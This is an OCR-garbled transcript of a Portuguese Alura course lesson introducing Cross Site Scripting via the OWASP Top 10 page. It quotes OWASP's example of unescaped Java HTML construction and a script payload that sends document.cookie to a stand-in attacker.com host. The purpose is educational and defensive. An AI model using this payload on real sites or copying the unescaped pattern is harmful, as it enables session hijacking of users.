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Transcricdo

Os ataques de Cross Site Scripting sdo muito comuns. As empresas muitas vezes desconhecem a severidade e o impacto

que isso pode representar para elas.

Essa é uma das vulnerabilidades que constam no ranking da OWASP, disponivel nesta publicacao do site a Owasp.
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Clicando no Cross Site Scripting abre-se uma nova pagina:
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Essa pagina indica como a vulnerabilidade é explorada e como podemos fazer a prevencéo a ataques desse género. Por

exemplo, verificar se tags estdo abertas, se existe a palavra script naquilo que o usuario esta tentando inserir.

Mais abaixo podemos verificar exemplos de ataques:

https://cursos.alura.com.br/course/seguranca-web-vulnerabilidades-do-seu-sistema/task/22427
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Example Attack Scenarios

References

without validation or escaping:

1
| {String) page += "<input name='creditcard' type="TEXT'
'

ivalue="'" + request.getParameter("CC"} + "'>";

1 '><zcript>document. location= "http://www.attacker.com

'
1 /cgi-binfcookie.cgi ?foo='+document.cookie</script>'.

attacker to hijack the user's current session.

Note that attackers can also use XSS to defeat any automated C3RF defense the
application might employ. See A8 for info on CSRF.

The application uses untrusted data in the construction of the following HTML snippet

This causes the victim's session ID to be sent to the attacker’'s website, allowing the
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Na mesma pagina, sdo listadas algumas referéncias de links com informacdes sobre protecdo e prevencao a ataques.

Uma recomendacio é ler as documentagdes da OWASP para compreender como o0s ataques sdo realizados e como a

prevencéo pode ser feita.

https://cursos.alura.com.br/course/seguranca-web-vulnerabilidades-do-seu-sistema/task/22427
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